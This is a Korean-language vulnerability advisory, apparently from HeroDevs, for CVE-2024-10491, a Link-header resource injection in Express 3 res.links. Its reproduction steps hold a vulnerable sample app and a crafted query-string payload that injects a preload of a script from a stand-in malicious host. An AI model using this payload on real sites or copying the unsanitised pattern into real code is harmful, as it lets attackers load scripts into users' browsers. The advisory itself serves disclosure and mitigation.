CVE-2024-10491

리소스 주입
영향
Express
<=3.21.4
in
Express
항목을 찾을 수 없습니다.
느낌표 아이콘
패치 사용 가능
이 취약점은 HeroDevs에서 제공하는 네버엔딩 지원(NES) 버전에서 수정되었습니다.

개요


압축되지 않은 데이터를 사용할 때 링크 헤더에 임의의 리소스가 삽입될 수 있는 취약점이 Express response.links 함수에서 발견되었습니다.

The issue arises from improper sanitization in `Link` header values, which can allow a combination of characters like `,`, `;`, and `<>` to preload malicious resources.

이 취약점은 특히 동적 매개변수와 관련이 있습니다.

세부 정보

모듈 정보

재현 단계

  • Express 애플리케이션을 만들고 쿼리 매개변수에서 값을 설정하도록 res.links를 구성합니다:
var express = require('express')
var app = express()

app.get('/', function (req, res) {
  res.links({"preload": req.query.resource});
  res.send('ok');
});
  
app.listen(3000);

  • 특별히 제작된 페이로드를 사용하여 여러 링크 헤더를 설정합니다. 예를 들어
// note how the query param uses < > to load arbitrary resource
const maliciousQueryParam = '?resource=http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com';

const url = `http://localhost:3000/${maliciousQueryParam}`;
fetch(url);

  • 여러 헤더가 설정된 것을 확인할 수 있습니다:
<http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com>; rel="preload"

개념 증명

위와 유사한 코드가 포함된 전체 복제본은 여기에서 확인할 수 있습니다:

<source> resource injection vulnerability POC

크레딧

  • Abze

완화

Express 프로젝트는 수명이 종료되었으며 이 문제를 해결하기 위한 업데이트가 제공되지 않습니다. 자세한 내용은 여기를 참조하세요.

영향을 받는 구성 요소의 사용자는 다음 완화 방법 중 하나를 적용해야 합니다:

  • 영향을 받는 애플리케이션을 Express 3에서 멀리 마이그레이션하세요.
  • 히어로데브즈와 같은 상용 지원 파트너를 활용하여 EOL 이후 보안 지원을 받으세요.

히어로데브의 최신 패치를 통해 시스템을 안전하게 보호하고 업데이트하세요. 더 많은 인사이트와 보안 업데이트를 확인하려면 블로그를 계속 팔로우하세요.

취약점 세부 정보
ID
CVE-2024-10491
영향을 받는 프로젝트
Express
영향을 받는 버전
<=3.21.4
게시 날짜
2024년 10월 29일
≈ 수정 날짜
2024년 10월 29일
다음에서 수정되었습니다.
심각도
Medium
카테고리
리소스 주입